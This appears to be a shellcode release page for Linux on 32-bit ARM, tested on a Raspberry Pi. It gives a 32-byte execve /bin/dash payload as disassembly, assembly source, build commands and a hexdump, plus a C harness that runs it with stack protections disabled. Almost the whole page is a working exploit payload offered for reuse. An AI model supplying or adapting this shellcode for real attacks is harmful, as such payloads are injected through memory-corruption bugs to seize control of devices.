81 lines
No EOL
2.1 KiB
C
81 lines
No EOL
2.1 KiB
C
# Title: Linux/ARM - execve /bin/dash Shellcode (32 bytes)
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# Date: 2020-06-08
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# Category: Shellcode
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# Tested: armv7l (32-bit)(Raspberry Pi 2 Model B) (OS: Raspbian Buster Lite)
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# Author: Anurag Srivastava
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# Description: execve shellcode
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/*
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## Objdump
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pi@raspberrypi:~/hex $ objdump -d ed1
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ed1: file format elf32-littlearm
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Disassembly of section .text:
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00010054 <_start>:
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10054: e28f3001 add r3, pc, #1
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10058: e12fff13 bx r3
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1005c: a002 add r0, pc, #8 ; (adr r0, 10068 <_start+0x14>)
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1005e: 1a49 subs r1, r1, r1
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10060: 1c0a adds r2, r1, #0
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10062: 7242 strb r2, [r0, #9]
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10064: 270b movs r7, #11
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10066: df01 svc 1
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10068: 6e69622f .word 0x6e69622f
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1006c: 7361642f .word 0x7361642f
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10070: 46c05968 .word 0x46c05968
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pi@raspberrypi:~/hex $ nano ed1.s
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##code
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pi@raspberrypi:~/hex $ cat ed1.s
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.section .text
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.global _start
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_start:
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.ARM
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add r3, pc, #1
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bx r3
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.THUMB
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add r0, pc, #8
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sub r1, r1, r1
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mov r2, r1
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strb r2, [r0, #9]
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mov r7, #11
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svc #1
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.ascii "/bin/dashY"
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pi@raspberrypi:~/hex $ as ed1.s -o ex.o
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pi@raspberrypi:~/hex $ ld -N ex.o -o exdash
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pi@raspberrypi:~/hex $ objcopy -O binary exdash exdash.bin
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pi@raspberrypi:~/hex $ hexdump -v -e '"\\""x" 1/1 "%02x" ""' exdash.bin
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\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x02\xa0\x49\x1a\x0a\x1c\x42\x72\x0b\x27\x01\xdf\x2f\x62\x69\x6e\x2f\x64\x61\x73\x68\x59\xc0\x46
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## Steps to compile given shellcode C program file
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pi@raspberrypi:~ gcc -fno-stack-protector -z execstack tada.c -o tada
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pi@raspberrypi:~/hex $ ./tada
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Shellcode Length: 32
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$ whoami
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pi
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$ exit
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*/
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#include<stdio.h>
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#include<string.h>
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unsigned char shellcode[] = "\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x02\xa0\x49\x1a\x0a\x1c\x42\x72\x0b\x27\x01\xdf\x2f\x62\x69\x6e\x2f\x64\x61\x73\x68\x59\xc0\x46";
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main(){
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printf("Shellcode Length: %d\n", (int)strlen(shellcode));
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int (*ret)() = (int(*)())shellcode;
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ret();
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} |